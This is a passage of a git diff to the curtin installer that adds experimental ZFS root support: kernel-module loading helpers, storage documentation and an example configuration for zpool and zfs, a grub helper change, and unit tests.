ProcessExecutionError:\n+ kernel_pkg = 'linux-image-%s' % os.uname()[2]\n+ return [MissingDeps('missing kernel module %s' % kmod, kernel_pkg)]\n+\n+ return []\n+\n+\n def find_missing_deps():\n- return check_executables() + check_imports()\n+ return check_executables() + check_imports() + check_kernel_modules()\n \n \n def install_deps(verbosity=False, dry_run=False, allow_daemons=True):\ndiff --git a/curtin/util.py b/curtin/util.py\nindex 81969c27..d3433395 100644\n--- a/curtin/util.py\n+++ b/curtin/util.py\n@@ -301,6 +301,32 @@ def load_command_environment(env=os.environ, strict=False):\n return {k: env.get(v) for k, v in mapping.items()}\n \n \n+def is_kmod_loaded(module):\n+ \"\"\"Test if kernel module 'module' is current loaded by checking sysfs\"\"\"\n+\n+ if not module:\n+ raise ValueError('is_kmod_loaded: invalid module: \"%s\"', module)\n+\n+ return os.path.isdir('/sys/module/%s' % module)\n+\n+\n+def load_kernel_module(module, check_loaded=True):\n+ \"\"\"Install kernel module via modprobe. Optionally check if it's already\n+ loaded .\n+ \"\"\"\n+\n+ if not module:\n+ raise ValueError('load_kernel_module: invalid module: \"%s\"', module)\n+\n+ if check_loaded:\n+ if is_kmod_loaded(module):\n+ LOG.debug('Skipping kernel module load, %s already loaded', module)\n+ return\n+\n+ LOG.debug('Loading kernel module %s via modprobe', module)\n+ subp(['modprobe', '--use-blacklist', module])\n+\n+\n class BadUsage(Exception):\n pass\n \ndiff --git a/doc/topics/storage.rst b/doc/topics/storage.rst\nindex 8242b4c8..354ad9c6 100644\n--- a/doc/topics/storage.rst\n+++ b/doc/topics/storage.rst\n@@ -49,6 +49,8 @@ commands include:\n - DM_Crypt Command (``dm_crypt``)\n - RAID Command (``raid``)\n - Bcache Command (``bcache``)\n+- Zpool Command (``zpool``) **Experimental**\n+- ZFS Command (``zfs``)) **Experimental**\n \n Disk Command\n ~~~~~~~~~~~~\n@@ -609,6 +611,86 @@ If the ``name`` key is present, curtin will create a link to the device at\n backing_device: raid_array\n cache_device: sdb\n \n+Zpool Command\n+~~~~~~~~~~~~~~\n+ZFS Support is **experimental**.\n+\n+The zpool command configures ZFS storage pools. A storage pool is a collection\n+of devices that provides physical storage and data replication for ZFS datasets.\n+\n+The zpool command needs to be provided with a list of physical devices, called\n+vdevs.\n+\n+\n+**pool**: **\n+\n+The ``pool`` key specifies the name of the ZFS storage pool. It will be used\n+when constructing ZFS datasets.\n+\n+**vdevs**: *[]*\n+\n+The ``vdevs`` key specifies a list of items in the storage configuration to use\n+in building a ZFS storage pool. This can be a partition or a whole disk.\n+\n+**mountpoint**: **\n+\n+The ``mountpoint`` key specifies where ZFS will mount the storage pool.\n+\n+**pool_properties**: *{}*\n+\n+The ``pool_properties`` key specifies a dictionary of key=value pairs which\n+are passed to the ZFS storage pool configuration as properties of the pool.\n+\n+**fs_properties**: *{}*\n+\n+The ``fs_properties`` key specifies a dictionary of key=value pairs which\n+are passed to the ZFS storage pool configuration as the default properties of\n+any ZFS datasets that are created within the pool.\n+\n+**Config Example**::\n+\n+ - type: zpool\n+ id: sda_rootpool\n+ pool: rpool\n+ vdevs:\n+ - sda1\n+ mountpoint: /\n+\n+ZFS Command\n+~~~~~~~~~~~~~~\n+ZFS Support is **experimental**.\n+\n+The zfs command configures ZFS datasets within a ZFS storage pool. A dataset\n+is identified by a unique path within the ZFS namespace. A dataset can be one\n+of the following: filesystem, volume, snapshot, bookmark.\n+\n+The zfs command needs to be provided with a pool name and a dataset name.\n+\n+**pool**: **\n+\n+The ``pool`` key specifies the name of the ZFS storage pool. It will be used\n+when constructing ZFS datasets.\n+\n+**volume**: **\n+\n+The ``volume`` key specifies the name of the volume to create with the\n+specified ZFS storage pool.\n+\n+**properties**: *{key=value}*\n+\n+The ``properties`` key specifies a dictionary of key=value pairs which are\n+passed to the ZFS dataset creation command.\n+\n+**Config Example**::\n+\n+ - type: zfs\n+ id: sda_rootpool_rootfs\n+ pool: sda_rootpool\n+ volume: /ROOT/ubuntu\n+ properties:\n+ canmount: noauto\n+ mountpoint: /\n+\n \n Additional Examples\n -------------------\n@@ -620,6 +702,7 @@ Learn by examples.\n - Bcache\n - RAID Boot\n - RAID5 + Bcache\n+- ZFS Root\n \n Basic Layout\n ~~~~~~~~~~~~\n@@ -963,3 +1046,62 @@ RAID5 + Bcache\n path: /srv/data\n type: mount\n version: 1\n+\n+ZFS Root\n+~~~~~~~~\n+\n+::\n+\n+ storage:\n+ config:\n+ - grub_device: true\n+ id: disk1\n+ name: main_disk\n+ ptable: gpt\n+ serial: disk-a\n+ type: disk\n+ wipe: superblock\n+ - device: disk1\n+ id: disk1p1\n+ number: 1\n+ size: 9G\n+ type: partition\n+ - device: disk1\n+ flag: bios_grub\n+ id: bios_boot\n+ number: 2\n+ size: 1M\n+ type: partition\n+ - id: disk1_rootpool\n+ mountpoint: /\n+ pool: rpool\n+ type: zpool\n+ vdevs:\n+ - disk1p1\n+ - id: disk1_rootpool_container\n+ pool: disk1_rootpool\n+ properties:\n+ canmount: 'off'\n+ mountpoint: 'none'\n+ type: zfs\n+ volume: /ROOT\n+ - id: disk1_rootpool_rootfs\n+ pool: disk1_rootpool\n+ properties:\n+ canmount: noauto\n+ mountpoint: /\n+ type: zfs\n+ volume: /ROOT/ubuntu\n+ - id: disk1_rootpool_home\n+ pool: disk1_rootpool\n+ properties:\n+ setuid: 'off'\n+ type: zfs\n+ volume: /home\n+ - id: disk1_rootpool_home_root\n+ pool: disk1_rootpool\n+ type: zfs\n+ volume: /home/root\n+ properties:\n+ mountpoint: /root\n+ version: 1\ndiff --git a/examples/tests/zfsroot.yaml b/examples/tests/zfsroot.yaml\nnew file mode 100644\nindex 00000000..93f77fa6\n--- /dev/null\n+++ b/examples/tests/zfsroot.yaml\n@@ -0,0 +1,102 @@\n+#install:\n+# unmount: disabled\n+showtrace: true\n+storage:\n+ version: 1\n+ config:\n+ #\n+ # single disk\n+ #\n+ - id: sda\n+ type: disk\n+ ptable: gpt\n+ serial: dev_vda\n+ name: main_disk\n+ wipe: superblock\n+ grub_device: true\n+ #\n+ # partition for filesystem\n+ #\n+ - id: sda1\n+ type: partition\n+ number: 1\n+ size: 9G\n+ device: sda\n+ #\n+ # we're using GPT but not EFI, so we need biosboot partition\n+ #\n+ - id: bios_boot\n+ type: partition\n+ size: 1M\n+ number: 2\n+ device: sda\n+ flag: bios_grub # this flag will sgdisk -t2:EF02\n+ #\n+ # make a zpool with our disk\n+ #\n+ # zpool create -o ashift=12 \\\n+ # -O atime=off -O canmount=off -O compression=lz4 \\\n+ # -O normalization=formD -O mountpoint=/ -R /TARGET_MOUNTPOINT \\\n+ # rpool /dev/disk/by-id/virtio-abcdefghi123\n+ - type: zpool\n+ id: sda_rootpool\n+ pool: rpool\n+ vdevs:\n+ - sda1\n+ mountpoint: /\n+\n+ # optionally set pool and fs properties\n+ # pool_properties:\n+ # ashift: 12\n+ # fs_properties:\n+ # atime: off\n+ # canmount: off\n+ # compression: lz4\n+ # normalization: formD\n+\n+ #\n+ # per ZFS Root docs, make a ROOT zfs container for rootfs snapshots\n+ #\n+ # zfs create -o canmount=off -o mountpoint=none rpool/ROOT\n+ - type: zfs\n+ id: sda_rootpool_container\n+ pool: sda_rootpool\n+ volume: /ROOT # (rpool/ROOT)\n+ properties:\n+ canmount: 'off'\n+ mountpoint: 'none'\n+\n+ #\n+ # Create a filesystem dataset for rootfs and mount it\n+ #\n+ # zfs create -o canmount=noauto -o mountpoint=/ rpool/ROOT/ubuntu\n+ # if properties.canmount == 'noauto':\n+ # zfs mount rpool/ROOT/ubuntu\n+ - type: zfs\n+ id: sda_rootpool_rootfs\n+ pool: sda_rootpool\n+ volume: /ROOT/ubuntu\n+ properties:\n+ canmount: 'noauto'\n+ mountpoint: /\n+\n+ # Create a home filesystem\n+ #\n+ # zfs create -o setuid=off rpool/home\n+ - type: zfs\n+ id: sda_rootpool_home\n+ pool: sda_rootpool\n+ volume: /home\n+ properties:\n+ setuid: 'off'\n+\n+ #\n+ # Create a root homedir\n+ #\n+ # zfs create -o mountpoint=/root rpool/home/root\n+ - type: zfs\n+ id: sda_rootpool_home_root\n+ pool: sda_rootpool\n+ volume: /home/root\n+ properties:\n+ mountpoint: /root\ndiff --git a/helpers/common b/helpers/common\nindex 79fb83c0..52dd7990 100644\n--- a/helpers/common\n+++ b/helpers/common\n@@ -572,16 +572,28 @@ install_grub() {\n fi\n \n # find the mp device\n+ local mp_dev=\"\" fstype=\"\"\n mp_dev=$(awk -v \"MP=$mp\" '$2 == MP { print $1 }' /proc/mounts) || {\n error \"unable to determine device for mount $mp\";\n return 1;\n }\n+\n+ fstype=$(awk -v MP=$mp '$2 == MP { print $3 }' /proc/mounts) || {\n+ error \"unable to fstype for mount $mp\";\n+ return 1;\n+ }\n+\n [ -z \"$mp_dev\" ] && {\n error \"did not find '$mp' in /proc/mounts\"\n cat /proc/mounts 1>&2\n return 1\n }\n- [ -b \"$mp_dev\" ] || { error \"$mp_dev is not a block device!\"; return 1; }\n+ # check if parsed mount point is a block device\n+ # error unless fstype is zfs, where entry will not point to block device.\n+ if ! [ -b \"$mp_dev\" ] && [ \"$fstype\" != \"zfs\" ]; then\n+ # error unless mp is zfs, entry doesn't point to block devs\n+ error \"$mp_dev ($fstype) is not a block device!\"; return 1;\n+ fi\n \n # get dpkg arch\n local dpkg_arch=\"\"\ndiff --git a/tests/unittests/test_block.py b/tests/unittests/test_block.py\nindex d1ffe87d..cb2efcfd 100644\n--- a/tests/unittests/test_block.py\n+++ b/tests/unittests/test_block.py\n@@ -101,6 +101,28 @@ def test_lookup_disk(self, mock_os_listdir, mock_os_path_exists,\n mock_os_listdir.return_value = [\"other\"]\n block.lookup_disk(serial)\n \n+ @mock.patch(\"curtin.block.get_dev_disk_byid\")\n+ def test_disk_to_byid_path(self, mock_byid):\n+ \"\"\" disk_to_byid path returns a /dev/disk/by-id path \"\"\"\n+ mapping = {\n+ '/dev/sda': '/dev/disk/by-id/scsi-abcdef',\n+ }\n+ mock_byid.return_value = mapping\n+\n+ byid_path = block.disk_to_byid_path('/dev/sda')\n+ self.assertEqual(mapping['/dev/sda'], byid_path)\n+\n+ @mock.patch(\"curtin.block.get_dev_disk_byid\")\n+ def test_disk_to_byid_path_notfound(self, mock_byid):\n+ \"\"\" disk_to_byid path returns None for not found devices \"\"\"\n+ mapping = {\n+ '/dev/sda': '/dev/disk/by-id/scsi-abcdef',\n+ }\n+ mock_byid.return_value = mapping\n+\n+ byid_path = block.disk_to_byid_path('/dev/sdb')\n+ self.assertEqual(mapping.get('/dev/sdb'), byid_path)\n+\n \n class TestSysBlockPath(CiTestCase):\n @mock.patch(\"curtin.block.get_blockdev_for_partition\")\ndiff --git a/tests/unittests/test_block_zfs.py b/tests/unittests/test_block_zfs.py\nnew file mode 100644\nindex 00000000..e320aadf\n--- /dev/null\n+++ b/tests/unittests/test_block_zfs.py\n@@ -0,0 +1,360 @@\n+from curtin.block import zfs\n+from .helpers import CiTestCase\n+\n+\n+class TestBlockZfsJoinFlags(CiTestCase):\n+ def test_zfs_join_flags_bad_optflags(self):\n+ \"\"\" zfs._join_flags raises ValueError if invalid optflag paramter \"\"\"\n+ with self.assertRaises(ValueError):\n+ zfs._join_flags(None, {'a': 1})\n+\n+ with self.assertRaises(ValueError):\n+ zfs._join_flags(23, {'a': 1})\n+\n+ def test_zfs_join_flags_count_optflag(self):\n+ \"\"\" zfs._join_flags has correct number of optflags in output \"\"\"\n+ oflag = '-o'\n+ params = {'a': 1}\n+ result = zfs._join_flags(oflag, params)\n+ self.assertEqual(result.count(oflag), len(params))\n+\n+ params = {}\n+ result = zfs._join_flags(oflag, params)\n+ self.assertEqual(result.count(oflag), len(params))\n+\n+ def test_zfs_join_flags_bad_params(self):\n+ \"\"\" zfs._join_flags raises ValueError if invalid params \"\"\"\n+ with self.assertRaises(ValueError):\n+ zfs._join_flags('-o', None)\n+\n+ with self.assertRaises(ValueError):\n+ zfs._join_flags('-p', [1, 2, 3])\n+\n+ with self.assertRaises(ValueError):\n+ zfs._join_flags('-p', 'foobar')\n+\n+ def test_zfs_join_flags_empty_params_ok(self):\n+ \"\"\" zfs._join_flags returns empty list with empty params \"\"\"\n+ self.assertEqual([], zfs._join_flags('-o', {}))\n+\n+ def test_zfs_join_flags_in_key_equal_value(self):\n+ \"\"\" zfs._join_flags converts dict to key=value \"\"\"\n+ oflag = '-o'\n+ params = {'a': 1}\n+ result = zfs._join_flags(oflag, params)\n+ self.assertEqual([oflag, \"a=1\"], result)\n+\n+ def test_zfs_join_flags_converts_booleans(self):\n+ \"\"\" zfs._join_flags converts True -> on, False -> off \"\"\"\n+ params = {'setfoo': False, 'setwark': True}\n+ result = zfs._join_flags('-o', params)\n+ self.assertEqual(sorted([\"-o\", \"setfoo=off\", \"-o\", \"setwark=on\"]),\n+ sorted(result))\n+\n+\n+class TestBlockZfsJoinPoolVolume(CiTestCase):\n+\n+ def test_zfs_join_pool_volume(self):\n+ \"\"\" zfs._join_pool_volume combines poolname and volume \"\"\"\n+ pool = 'mypool'\n+ volume = '/myvolume'\n+ self.assertEqual('mypool/myvolume',\n+ zfs._join_pool_volume(pool, volume))\n+\n+ def test_zfs_join_pool_volume_extra_slash(self):\n+ \"\"\" zfs._join_pool_volume removes extra slashes \"\"\"\n+ pool = 'wark'\n+ volume = '//myvol/fs//foobar'\n+ self.assertEqual('wark/myvol/fs/foobar',\n+ zfs._join_pool_volume(pool, volume))\n+\n+ def test_zfs_join_pool_volume_no_slash(self):\n+ \"\"\" zfs._join_pool_volume handles no slash \"\"\"\n+ pool = 'rpool'\n+ volume = 'ROOT'\n+ self.assertEqual('rpool/ROOT', zfs._join_pool_volume(pool, volume))\n+\n+ def test_zfs_join_pool_volume_invalid_pool(self):\n+ \"\"\" zfs._join_pool_volume raises ValueError on invalid pool \"\"\"\n+ with self.assertRaises(ValueError):\n+ zfs._join_pool_volume(None, 'myvol')\n+\n+ def test_zfs_join_pool_volume_invalid_volume(self):\n+ \"\"\" zfs._join_pool_volume raises ValueError on invalid volume \"\"\"\n+ with self.assertRaises(ValueError):\n+ zfs._join_pool_volume('rpool', None)\n+\n+ def test_zfs_join_pool_volume_empty_params(self):\n+ \"\"\" zfs._join_pool_volume raises ValueError on invalid volume \"\"\"\n+ with self.assertRaises(ValueError):\n+ zfs._join_pool_volume('', '')\n+\n+\n+class TestBlockZfsZpoolCreate(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsZpoolCreate, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+\n+ def test_zpool_create_raises_value_errors(self):\n+ \"\"\" zfs.zpool_create raises ValueError/TypeError for invalid inputs \"\"\"\n+\n+ # poolname\n+ for val in [None, '', {'a': 1}]:\n+ with self.assertRaises(ValueError):\n+ zfs.zpool_create(val, [])\n+\n+ # vdevs\n+ for val in [None, '', {'a': 1}, 'mydev']:\n+ with self.assertRaises(TypeError):\n+ # All the assert methods (except assertRaises(),\n+ # assertRaisesRegexp()) accept a msg argument that,\n+ # if specified, is used as the error message on failure\n+ print('vdev value: %s' % val)\n+ zfs.zpool_create('mypool', val)\n+\n+ def test_zpool_create_default_pool_properties(self):\n+ \"\"\" zpool_create uses default pool properties if none provided \"\"\"\n+ zfs.zpool_create('mypool', ['/dev/disk/by-id/virtio-abcfoo1'])\n+ zpool_params = [\"%s=%s\" % (k, v) for k, v in\n+ zfs.ZPOOL_DEFAULT_PROPERTIES.items()]\n+ args, _ = self.mock_subp.call_args\n+ self.assertTrue(set(zpool_params).issubset(set(args[0])))\n+\n+ def test_zpool_create_pool_iterable(self):\n+ \"\"\" zpool_create accepts vdev iterables besides list \"\"\"\n+ zfs.zpool_create('mypool', ('/dev/virtio-disk1', '/dev/virtio-disk2'))\n+ args, _ = self.mock_subp.call_args\n+ self.assertIn(\"/dev/virtio-disk1\", args[0])\n+ self.assertIn(\"/dev/virtio-disk2\", args[0])\n+\n+ def test_zpool_create_default_zfs_properties(self):\n+ \"\"\" zpool_create uses default zfs properties if none provided \"\"\"\n+ zfs.zpool_create('mypool', ['/dev/disk/by-id/virtio-abcfoo1'])\n+ zfs_params = [\"%s=%s\" % (k, v) for k, v in\n+ zfs.ZFS_DEFAULT_PROPERTIES.items()]\n+ args, _ = self.mock_subp.call_args\n+ self.assertTrue(set(zfs_params).issubset(set(args[0])))\n+\n+ def test_zpool_create_use_passed_properties(self):\n+ \"\"\" zpool_create uses provided properties \"\"\"\n+ zpool_props = {'prop1': 'val1'}\n+ zfs_props = {'fsprop1': 'val2'}\n+ zfs.zpool_create('mypool', ['/dev/disk/by-id/virtio-abcfoo1'],\n+ pool_properties=zpool_props, zfs_properties=zfs_props)\n+ all_props = zpool_props.copy()\n+ all_props.update(zfs_props)\n+ params = [\"%s=%s\" % (k, v) for k, v in all_props.items()]\n+ args, _ = self.mock_subp.call_args\n+ self.assertTrue(set(params).issubset(set(args[0])))\n+\n+ def test_zpool_create_set_mountpoint(self):\n+ \"\"\" zpool_create uses mountpoint \"\"\"\n+ mountpoint = '/srv'\n+ zfs.zpool_create('mypool', ['/dev/disk/by-id/virtio-abcfoo1'],\n+ mountpoint=mountpoint)\n+ args, _ = self.mock_subp.call_args\n+ self.assertIn(\"mountpoint=%s\" % mountpoint, args[0])\n+\n+ def test_zpool_create_set_altroot(self):\n+ \"\"\" zpool_create uses altroot \"\"\"\n+ altroot = '/var/tmp/mytarget'\n+ zfs.zpool_create('mypool', ['/dev/disk/by-id/virtio-abcfoo1'],\n+ altroot=altroot)\n+ args, _ = self.mock_subp.call_args\n+ self.assertIn('-R', args[0])\n+ self.assertIn(altroot, args[0])\n+\n+ def test_zpool_create_zfsroot(self):\n+ \"\"\" zpool_create sets up root command correctly \"\"\"\n+ pool = 'rpool'\n+ mountpoint = '/'\n+ altroot = '/var/tmp/mytarget'\n+ vdev = '/dev/disk/by-id/virtio-abcfoo1'\n+ zfs.zpool_create('rpool', [vdev], mountpoint=mountpoint,\n+ altroot=altroot)\n+ # the dictionary ordering is not guaranteed which means the\n+ # pairs of parameters may shift; this does not harm the function\n+ # of the call, but is harder to test; instead we will compare\n+ # the arg list sorted\n+ args, kwargs = self.mock_subp.call_args\n+ print(args[0])\n+ print(kwargs)\n+ expected_args = (\n+ ['zpool', 'create', '-o', 'ashift=12', '-O', 'normalization=formD',\n+ '-O', 'canmount=off', '-O', 'atime=off', '-O', 'compression=lz4',\n+ '-O', 'mountpoint=%s' % mountpoint, '-R', altroot, pool,\n+ vdev])\n+ expected_kwargs = {'capture': True}\n+ self.assertEqual(sorted(expected_args), sorted(args[0]))\n+ self.assertEqual(expected_kwargs, kwargs)\n+\n+\n+class TestBlockZfsZfsCreate(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsZfsCreate, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+\n+ def test_zfs_create_raises_value_errors(self):\n+ \"\"\" zfs.zfs_create raises ValueError for invalid inputs \"\"\"\n+\n+ # poolname\n+ for val in [None, '', {'a': 1}]:\n+ with self.assertRaises(ValueError):\n+ zfs.zfs_create(val, [])\n+\n+ # volume\n+ for val in [None, '', {'a': 1}]:\n+ with self.assertRaises(ValueError):\n+ zfs.zfs_create('pool1', val)\n+\n+ # properties\n+ for val in [12, ['a', 1]]:\n+ with self.assertRaises(ValueError):\n+ zfs.zfs_create('pool1', 'vol1', zfs_properties=val)\n+\n+ def test_zfs_create_sets_zfs_properties(self):\n+ \"\"\" zfs.zfs_create uses zfs_properties parameters \"\"\"\n+ zfs_props = {'fsprop1': 'val2'}\n+ zfs.zfs_create('mypool', 'myvol', zfs_properties=zfs_props)\n+ params = [\"%s=%s\" % (k, v) for k, v in zfs_props.items()]\n+ args, _ = self.mock_subp.call_args\n+ self.assertTrue(set(params).issubset(set(args[0])))\n+\n+ def test_zfs_create_no_options(self):\n+ \"\"\" zfs.zfs_create passes no options by default \"\"\"\n+ pool = 'rpool'\n+ volume = 'ROOT'\n+ zfs.zfs_create(pool, volume)\n+ self.mock_subp.assert_called_with(['zfs', 'create', 'rpool/ROOT'],\n+ capture=True)\n+\n+ def test_zfs_create_calls_mount_if_canmount_is_noauto(self):\n+ \"\"\" zfs.zfs_create calls zfs mount if canmount=noauto \"\"\"\n+ pool = 'rpool'\n+ volume = 'ROOT'\n+ props = {'canmount': 'noauto'}\n+ zfs.zfs_create(pool, volume, zfs_properties=props)\n+ self.mock_subp.assert_called_with(['zfs', 'mount',\n+ \"%s/%s\" % (pool, volume)],\n+ capture=True)\n+\n+\n+class TestBlockZfsZfsMount(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsZfsMount, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+\n+ def test_zfs_mount_raises_value_errors(self):\n+ \"\"\" zfs.zfs_mount raises ValueError for invalid inputs \"\"\"\n+\n+ # poolname\n+ for pool in [None, '', {'a': 1}, 'rpool']:\n+ for vol in [None, '', {'a': 1}, 'vol1']:\n+ if pool == \"rpool\" and vol == \"vol1\":\n+ continue\n+ with self.assertRaises(ValueError):\n+ zfs.zfs_mount(pool, vol)\n+\n+ def test_zfs_mount(self):\n+ \"\"\" zfs.zfs_mount calls zfs mount command with pool and volume \"\"\"\n+ pool = 'rpool'\n+ volume = 'home'\n+ zfs.zfs_mount(pool, volume)\n+ self.mock_subp.assert_called_with(['zfs', 'mount',\n+ '%s/%s' % (pool, volume)],\n+ capture=True)\n+\n+\n+class TestBlockZfsZpoolList(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsZpoolList, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+\n+ def test_zpool_list(self):\n+ \"\"\"zpool list output returns list of pools\"\"\"\n+ pools = ['fake_pool', 'wark', 'nodata']\n+ stdout = \"\\n\".join(pools)\n+ self.mock_subp.return_value = (stdout, \"\")\n+\n+ found_pools = zfs.zpool_list()\n+ self.assertEqual(sorted(pools), sorted(found_pools))\n+\n+ def test_zpool_list_empty(self):\n+ \"\"\"zpool list returns empty list with no pools\"\"\"\n+ pools = []\n+ self.mock_subp.return_value = (\"\", \"\")\n+ found_pools = zfs.zpool_list()\n+ self.assertEqual(sorted(pools), sorted(found_pools))\n+\n+\n+class TestBlockZfsZpoolExport(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsZpoolExport, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+\n+ def test_zpool_export_no_poolname(self):\n+ \"\"\"zpool_export raises ValueError on invalid poolname\"\"\"\n+ # poolname\n+ for val in [None, '', {'a': 1}]:\n+ with self.assertRaises(ValueError):\n+ zfs.zpool_export(val)\n+\n+ def test_zpool_export(self):\n+ \"\"\"zpool export calls zpool export \"\"\"\n+ poolname = 'fake_pool'\n+ zfs.zpool_export(poolname)\n+ self.mock_subp.assert_called_with(['zpool', 'export', poolname])\n+\n+\n+class TestBlockZfsDeviceToPoolname(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestBlockZfsDeviceToPoolname, self).setUp()\n+ self.add_patch('curtin.block.zfs.util.subp', 'mock_subp')\n+ self.add_patch('curtin.block.zfs.blkid', 'mock_blkid')\n+\n+ def test_device_to_poolname_invalid_devname(self):\n+ \"\"\"device_to_poolname raises ValueError on invalid devname\"\"\"\n+ # devname\n+ for val in [None, '', {'a': 1}]:\n+ with self.assertRaises(ValueError):\n+ zfs.device_to_poolname(val)\n+\n+ def test_device_to_poolname_finds_poolname(self):\n+ \"\"\"find_poolname extracts 'LABEL' from zfs_member device\"\"\"\n+ devname = '/dev/wark'\n+ poolname = 'fake_pool'\n+ self.mock_blkid.return_value = {\n+ devname: {'LABEL': poolname,\n+ 'PARTUUID': '52dff41a-49be-44b3-a36a-1b499e570e69',\n+ 'TYPE': 'zfs_member',\n+ 'UUID': '12590398935543668673',\n+ 'UUID_SUB': '7809435738165038086'}}\n+\n+ found_poolname = zfs.device_to_poolname(devname)\n+ self.assertEqual(poolname, found_poolname)\n+ self.mock_blkid.assert_called_with(devs=[devname])\n+\n+ def test_device_to_poolname_no_match(self):\n+ \"\"\"device_to_poolname returns None if devname not in blkid results\"\"\"\n+ devname = '/dev/wark'\n+ self.mock_blkid.return_value = {'/dev/foobar': {}}\n+ found_poolname = zfs.device_to_poolname(devname)\n+ self.assertEqual(None, found_poolname)\n+ self.mock_blkid.assert_called_with(devs=[devname])\n+\n+ def test_device_to_poolname_no_zfs_member(self):\n+ \"\"\"device_to_poolname returns None when device is not zfs_member\"\"\"\n+ devname = '/dev/wark'\n+ self.mock_blkid.return_value = {devname: {'TYPE': 'foobar'}}\n+ found_poolname = zfs.device_to_poolname(devname)\n+ self.assertEqual(None, found_poolname)\n+ self.mock_blkid.assert_called_with(devs=[devname])\n+\n+\n+# vi: ts=4 expandtab syntax=python\ndiff --git a/tests/unittests/test_clear_holders.py b/tests/unittests/test_clear_holders.py\nindex 9e2eeb6b..bc615e3e 100644\n--- a/tests/unittests/test_clear_holders.py\n+++ b/tests/unittests/test_clear_holders.py\n@@ -491,11 +491,31 @@ def test_clear_holders_wipe_superblock(self, mock_block, mock_log):\n clear_holders.wipe_superblock(self.test_syspath)\n self.assertFalse(mock_block.wipe_volume.called)\n mock_block.is_extended_partition.return_value = False\n+ mock_block.is_zfs_member.return_value = False\n clear_holders.wipe_superblock(self.test_syspath)\n mock_block.sysfs_to_devpath.assert_called_with(self.test_syspath)\n mock_block.wipe_volume.assert_called_with(\n self.test_blockdev, mode='superblock')\n \n+ @mock.patch('curtin.block.clear_holders.zfs')\n+ @mock.patch('curtin.block.clear_holders.LOG')\n+ @mock.patch('curtin.block.clear_holders.block')\n+ def test_clear_holders_wipe_superblock_zfs(self, mock_block, mock_log,\n+ mock_zfs):\n+ \"\"\"test clear_holders.wipe_superblock handles zfs member\"\"\"\n+ mock_block.sysfs_to_devpath.return_value = self.test_blockdev\n+ mock_block.is_extended_partition.return_value = True\n+ clear_holders.wipe_superblock(self.test_syspath)\n+ self.assertFalse(mock_block.wipe_volume.called)\n+ mock_block.is_extended_partition.return_value = False\n+ mock_block.is_zfs_member.return_value = True\n+ mock_zfs.device_to_poolname.return_value = 'fake_pool'\n+ clear_holders.wipe_superblock(self.test_syspath)\n+ mock_block.sysfs_to_devpath.assert_called_with(self.test_syspath)\n+ mock_zfs.zpool_export.assert_called_with('fake_pool')\n+ mock_block.wipe_volume.assert_called_with(\n+ self.test_blockdev, mode='superblock')\n+\n @mock.patch('curtin.block.clear_holders.LOG')\n @mock.patch('curtin.block.clear_holders.block')\n @mock.patch('curtin.block.clear_holders.os')\n@@ -662,6 +682,6 @@ def test_start_clear_holders_deps(self, mock_util, mock_mdadm):\n clear_holders.start_clear_holders_deps()\n mock_mdadm.mdadm_assemble.assert_called_with(\n scan=True, ignore_errors=True)\n- mock_util.subp.assert_called_with(['modprobe', 'bcache'], rcs=[0, 1])\n-\n+ mock_util.load_kernel_module.has_calls(\n+ mock.call('bcache'), mock.call('zfs'))\n # vi: ts=4 expandtab syntax=python\ndiff --git a/tests/unittests/test_util.py b/tests/unittests/test_util.py\nindex 3da6fd92..eb431b04 100644\n--- a/tests/unittests/test_util.py\n+++ b/tests/unittests/test_util.py\n@@ -911,4 +911,81 @@ def test_uses_systemd_on_non_systemd(self):\n result = util.uses_systemd()\n self.assertEqual(False, result)\n \n+\n+class TestIsKmodLoaded(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestIsKmodLoaded, self).setUp()\n+ self.add_patch('curtin.util.os.path.isdir', 'm_path_isdir')\n+ self.modname = 'fake_module'\n+\n+ def test_is_kmod_loaded_invalid_module(self):\n+ \"\"\"test raise ValueError on invalid module parameter\"\"\"\n+ for module_name in ['', None]:\n+ with self.assertRaises(ValueError):\n+ util.is_kmod_loaded(module_name)\n+\n+ def test_is_kmod_loaded_path_checked(self):\n+ \"\"\" test /sys/modules/ path is checked \"\"\"\n+ util.is_kmod_loaded(self.modname)\n+ self.m_path_isdir.assert_called_with('/sys/module/%s' % self.modname)\n+\n+ def test_is_kmod_loaded_already_loaded(self):\n+ \"\"\" test returns True if /sys/module/modname exists \"\"\"\n+ self.m_path_isdir.return_value = True\n+ is_loaded = util.is_kmod_loaded(self.modname)\n+ self.assertTrue(is_loaded)\n+ self.m_path_isdir.assert_called_with('/sys/module/%s' % self.modname)\n+\n+ def test_is_kmod_loaded_not_loaded(self):\n+ \"\"\" test returns False if /sys/module/modname does not exist \"\"\"\n+ self.m_path_isdir.return_value = False\n+ is_loaded = util.is_kmod_loaded(self.modname)\n+ self.assertFalse(is_loaded)\n+ self.m_path_isdir.assert_called_with('/sys/module/%s' % self.modname)\n+\n+\n+class TestLoadKernelModule(CiTestCase):\n+\n+ def setUp(self):\n+ super(TestLoadKernelModule, self).setUp()\n+ self.add_patch('curtin.util.is_kmod_loaded', 'm_is_kmod_loaded')\n+ self.add_patch('curtin.util.subp', 'm_subp')\n+ self.modname = 'fake_module'\n+\n+ def test_load_kernel_module_invalid_module(self):\n+ \"\"\" test raise ValueError on invalid module parameter\"\"\"\n+ for module_name in ['', None]:\n+ with self.assertRaises(ValueError):\n+ util.load_kernel_module(module_name)\n+\n+ def test_load_kernel_module_unloaded(self):\n+ \"\"\" test unloaded kmod is loaded via call to modprobe\"\"\"\n+ self.m_is_kmod_loaded.return_value = False\n+\n+ util.load_kernel_module(self.modname)\n+\n+ self.m_is_kmod_loaded.assert_called_with(self.modname)\n+ self.m_subp.assert_called_with(['modprobe', '--use-blacklist',\n+ self.modname])\n+\n+ def test_load_kernel_module_loaded(self):\n+ \"\"\" test modprobe called with check_loaded=False\"\"\"\n+ 